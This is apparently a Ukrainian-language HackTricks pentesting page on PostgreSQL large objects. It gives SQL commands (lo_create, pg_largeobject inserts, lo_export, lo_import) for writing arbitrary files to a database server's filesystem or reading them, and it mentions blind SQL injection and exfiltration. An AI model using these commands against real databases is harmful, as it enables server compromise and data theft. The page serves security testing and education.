{{#include ../../../banners/hacktricks-training.md}} ### PostgreSQL Великі Об'єкти PostgreSQL пропонує структуру, відому як **великі об'єкти**, доступну через таблицю `pg_largeobject`, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією `COPY TO`, оскільки він дозволяє **експортувати дані назад до файлової системи**, забезпечуючи точну копію оригінального файлу. Для **зберігання повного файлу** в цій таблиці, об'єкт повинен бути створений у таблиці `pg_largeobject` (ідентифікований за LOID), після чого дані розбиваються на частини, кожна з яких має розмір 2KB, і вставляються в цей об'єкт. Важливо, щоб ці частини мали точно 2KB в розмірі (з можливим винятком останньої частини), щоб функція експорту працювала правильно. Щоб **поділити ваші бінарні дані** на частини по 2KB, можна виконати такі команди: ```bash split -b 2048 your_file # Creates 2KB sized files ``` Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди: ```bash base64 -w 0 # Encodes in Base64 in one line xxd -ps -c 99999999999 # Encodes in Hex in one line ``` **Важливо**: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в кодуванні Base64 слідують формулі `ceil(n / 3) * 4`. Вміст великих об'єктів можна переглядати для налагодження за допомогою: ```sql select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` #### Використання `lo_creat` та Base64 Щоб зберегти бінарні дані, спочатку створюється LOID: ```sql SELECT lo_creat(-1); -- Creates a new, empty large object SELECT lo_create(173454); -- Attempts to create a large object with a specific OID ``` У ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, `lo_create` віддається перевага для вказівки фіксованого LOID. Частини даних можна вставити наступним чином: ```sql INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64')); ``` Щоб експортувати та потенційно видалити великий об'єкт після використання: ```sql SELECT lo_export(173454, '/tmp/your_file'); SELECT lo_unlink(173454); -- Deletes the specified large object ``` #### Використання `lo_import` та Hex Функція `lo_import` може бути використана для створення та вказівки LOID для великого об'єкта: ```sql select lo_import('/path/to/file'); select lo_import('/path/to/file', 173454); ``` Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2 КБ: ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1; ``` Щоб завершити процес, дані експортуються, а великий об'єкт видаляється: ```sql select lo_export(173454, '/path/to/your_file'); select lo_unlink(173454); -- Deletes the specified large object ``` ### Обмеження Зазначено, що **великі об'єкти можуть мати ACL** (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL все ще можуть бути доступні для ексфільтрації вмісту. {{#include ../../../banners/hacktricks-training.md}}